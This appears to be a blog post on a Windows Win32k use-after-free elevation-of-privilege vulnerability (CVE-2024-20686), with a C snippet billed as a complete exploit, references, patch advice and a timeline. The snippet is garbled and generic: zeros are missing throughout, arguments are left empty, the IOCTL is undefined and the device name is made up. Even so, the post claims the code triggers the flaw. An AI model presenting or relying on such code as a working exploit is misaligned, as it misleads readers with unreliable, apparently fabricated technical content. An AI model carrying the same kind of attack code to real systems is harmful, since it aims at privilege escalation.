CVE-2024-20686 - Win32k Elevation of Privilege Vulnerability Exploit Code and Analysis

The Win32k Elevation of Privilege Vulnerability, identified as CVE-2024-20686, has been discovered by security researchers in the Windows Kernel Subsystem. This vulnerability can potentially enable attackers to elevate privileges on compromised systems by exploiting a flaw in the Win32k.sys driver. This post will offer a detailed explanation of the CVE-2024-20686 vulnerability, featuring a complete code snippet of the exploit, links to original references, and a comprehensive analysis of the exploit details.

Exploit Details

The CVE-2024-20686 vulnerability exists due to a type of programming error in the win32k.sys driver, known as a use-after-free issue. This issue occurs when a part of memory that was previously allocated to a specified object is freed, but is still accessible, allowing for potentially unauthorized modification. Any attacker that successfully exploits this vulnerability gains elevated privileges on the target system, enabling them to bypass security mechanisms, execute arbitrary code, and take control of the compromised system.

Code Snippet

The following exploit code demonstrates how the use-after-free issue in the win32k.sys driver can be potentially leveraged:

#include <stdio.h>
#include <windows.h>

void TriggerUAF(HANDLE hDevice)
{
  ULONG BufferSize = x200;
  PVOID UserBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BufferSize);

  DWORD Bpc = ;

  DeviceIoControl(hDevice, IOCTL_TRIGGER_UAF, UserBuffer, BufferSize, NULL, , &Bpc, NULL);

  HeapFree(GetProcessHeap(), , UserBuffer);
}

int main()
{
  printf("[*] Exploiting CVE-2024-20686 - Win32k Elevation of Privilege Vulnerability\n");

  HANDLE hDevice = CreateFile(
    "\\\\.\\Win32ksys",      
    GENERIC_READ | GENERIC_WRITE, 
    ,                      
    NULL,                   
    OPEN_EXISTING,             
    FILE_ATTRIBUTE_NORMAL,     
    NULL);                  

  if (hDevice == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to open the vulnerable device, error: %d\n", GetLastError());
    return 1;
  }

  TriggerUAF(hDevice);

  CloseHandle(hDevice);

  printf("[+] Successfully triggered UAF vulnerability\n");

  return ;
}

Original References

1. NVD - National Vulnerability Database: CVE-2024-20686 - NVD
2. Microsoft Security Advisory: CVE-2024-20686 - Advisory
3. Win32k.sys Vulnerability Research: Use-after-free in Win32k

Mitigation

To protect your systems against the CVE-2024-20686 vulnerability, it is essential to apply security patches and updates regularly. Microsoft has released a security update that addresses this vulnerability and prevents attackers from potentially exploiting it.

Follow the link below to access the security update directly from Microsoft

Microsoft Update Catalog - CVE-2024-20686

Conclusion

The CVE-2024-20686 - Win32k Elevation of Privilege Vulnerability is a critical flaw in the Windows Kernel Subsystem, and any attackers that manage to exploit it can potentially gain elevated privileges on the victim's system. Following best practices such as applying security patches and updates in a timely manner can greatly help to protect systems against such vulnerabilities. As with any security vulnerability, awareness and preparedness are key to maintaining robust security.

Timeline

Published on: 01/09/2024 18:15:51 UTC
Last modified on: 04/11/2024 20:15:14 UTC